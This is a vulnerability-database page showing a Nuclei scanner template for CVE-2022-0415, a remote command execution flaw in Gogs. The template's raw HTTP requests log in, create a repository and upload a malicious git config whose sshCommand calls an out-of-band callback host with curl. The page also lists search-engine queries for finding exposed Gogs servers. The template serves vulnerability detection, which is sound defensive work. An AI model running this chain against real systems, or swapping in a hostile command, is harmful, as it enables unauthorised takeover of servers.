Lucene search
K

Gogs <0.12.6 - Remote Command Execution

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 399 Views

Gogs 0.12.6 Remote Command Execution via GitHub repository gogs/gogs. Allows attackers to execute arbitrary commands and gain full system control. Fixed in version 0.12.6

Related
Refs
Code
id: CVE-2022-0415

info:
  name: Gogs <0.12.6 - Remote Command Execution
  author: theamanrawat
  severity: high
  description: |
    Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: Fixed in version 0.12.6.
  reference:
    - https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
    - https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0415
    - https://github.com/bfengj/CTF
    - https://github.com/cokeBeer/go-cves
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0415
    cwe-id: CWE-434,CWE-20
    epss-score: 0.65237
    epss-percentile: 0.99156
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2022,rce,gogs,authenticated,huntr,intrusive,vuln

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on
      - |
        POST /{{username}}/{{randstr}}/upload-file HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Csrf-Token: {{auth_csrf}}
        Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395

        -----------------------------313811965223810628771946318395
        Content-Disposition: form-data; name="file"; filename="config"
        Content-Type: application/octet-stream

        [core]
            repositoryformatversion = 0
            filemode = true
            bare = false
            logallrefupdates = true
            ignorecase = true
            precomposeunicode = true
            sshCommand = curl http://{{interactsh-url}} -I
        [remote "origin"]
            url = [email protected]:torvalds/linux.git
            fetch = +refs/heads/*:refs/remotes/origin/*
        [branch "master"]
            remote = origin
            merge = refs/heads/master
        -----------------------------313811965223810628771946318395--
      - |
        POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
          - http

      - type: word
        part: body_1
        words:
          - content="Gogs

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true

      - type: regex
        name: uuid
        group: 1
        regex:
          - ' "uuid": "(.*)"'
        internal: true
# digest: 490a004630440220082070ca13aa5138516946820ce4894b7d17bed86d005ae6254dd1660c092cf90220727f8357481e84fd75f6e58c22c9bad733af44fc7e1a74e539100be5d9c65e10:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 26.5
CVSS 3.18.8
CVSS 39.9
EPSS0.65237
399